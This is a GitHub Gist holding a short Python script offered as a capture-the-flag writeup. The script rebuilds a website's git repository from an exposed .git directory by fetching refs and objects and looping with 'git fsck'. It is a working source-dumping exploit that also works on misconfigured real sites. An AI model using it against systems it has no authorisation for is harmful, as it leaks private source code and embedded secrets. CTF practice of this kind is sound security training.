Created
August 27, 2016 17:36
-
-
Save yue82/ad79d9886f5208ce5858b4615c705e46 to your computer and use it in GitHub Desktop.
IceCTF Exposed! writeup
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import requests | |
import os | |
import subprocess | |
def fetch_commit_object(url, commit): | |
if len(commit) != 40: | |
return | |
dirname = '.git/objects/'+commit[:2] + '/' | |
try: | |
os.mkdir(dirname) | |
except: | |
pass | |
filename = dirname+commit[2:] | |
res = requests.get(url+filename) | |
if res.status_code == 200: | |
with open(filename, 'wb') as fo: | |
fo.write(res.content) | |
else: | |
print 'fail({}):{}'.format(res.status_code, url+filename) | |
def main(url): | |
giturl = url + '.git/' | |
dirlist = ['logs/refs/heads', 'objects', 'refs/heads'] | |
filelist = ['HEAD', 'config', 'logs/HEAD', | |
'logs/refs/heads/master', 'refs/heads/master'] | |
for d in dirlist: | |
os.makedirs('.git/'+d) | |
for filename in filelist: | |
res = requests.get(giturl+filename) | |
if res.status_code == 200: | |
with open('.git/'+filename, 'wb') as f: | |
f.write(res.content) | |
with open('.git/logs/HEAD', 'r') as fi: | |
for line in fi: | |
commit = line.split(' ')[1] | |
fetch_commit_object(url, commit) | |
returncode = 2 | |
while returncode != 0: | |
proc = subprocess.Popen('git fsck'.split(' '), | |
stdout=subprocess.PIPE, | |
stderr=subprocess.STDOUT) | |
stdout_data, stderr_data = proc.communicate() | |
returncode = proc.returncode | |
for line in stdout_data.split('\n'): | |
commit = line.strip().split(' ')[-1] | |
fetch_commit_object(url, commit) | |
if __name__ == '__main__': | |
url = raw_input().strip() | |
main(url) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment